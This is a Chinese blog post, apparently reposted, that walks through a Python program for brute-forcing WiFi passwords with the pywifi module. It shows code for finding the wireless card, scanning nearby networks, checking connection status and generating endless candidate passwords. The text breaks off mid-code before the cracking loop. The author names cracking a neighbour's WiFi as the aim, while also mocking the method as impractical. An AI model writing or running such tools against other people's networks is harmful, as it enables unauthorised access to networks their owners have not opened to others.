admin管理员组文章数量:1581045
扯淡的!!!基于python的wifi密码暴力破解程序
- 程序目的
- 模块
- 程序
-
- 核心内容及大致步骤
-
- 1、获取本机的无限网卡:
- 2、搜索附近WiFi(一般直接用第一个作为信号最强的那个):
- 3、确认网卡连接状态:
- 4、创建临时密码(从初始pren=6位密码开始,循环完后自动增加位数,无限产生密码):
- 5、循环暴力破解密码:
- 6、将破解完得到的密码保存到txt文件中备用:
- 正式程序
- 吐槽
程序目的
暴力破解邻居家的WiFi。。。
或,白嫖蹭WiFi。。。
又或,可以随时随地打开笔记本电脑来装个。。。咳咳
(以上是编代码前的最初目的)
(以下是发布这片文章的真实目的)
吐槽这破解方式是多么的扯淡。。。。。。
模块
核心模块:
pywifi(模块的详细内容请出门左拐 <-_<-)
作用:获取本机网卡,搜寻,链接或断开WiFi
路人模块:
itertools
作用:循环生成临时密码
time
作用:WiFi链接或断开需要一定时间
程序
核心内容及大致步骤
1、获取本机的无限网卡:
# 创建WiFi对象:
wifi = pywifi.PyWiFi()
# 获得本机无线网卡:
ifaces = wifi.interfaces()[0] # 此处获得的是一个列表
2、搜索附近WiFi(一般直接用第一个作为信号最强的那个):
# 获取附近WiFi:
wifi_scanned = ifaces.scan_results() # 此处同样是个列表
# 获取第一个WiFi的名称:
wifiname = wifi_scanned[0].ssid
3、确认网卡连接状态:
# 获取当前网卡的连接状态
status = ifaces.status()
其中:
status = 0 : 未连接
status = 1 : 扫描中
status = 2 : 延迟
status = 3 : 正在连接中…
status = 4 : 已连接
4、创建临时密码(从初始pren=6位密码开始,循环完后自动增加位数,无限产生密码):
# 这里我们不直接把密码本输出(浪费空间),直接造一个小生成器(generator)
def temppwd(pren): # pren是搜寻密码的初始位数
num = pren
# 设置询查密码可含有的符号
words = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_'
while True:
set = itertools.product(words, repeat=num)
for temp in set:
yield temp
num += 1
temp =
版权声明:本文标题:扯淡的!!!基于python的wifi密码暴力破解程序 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dongtai/1727878140a1135321.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论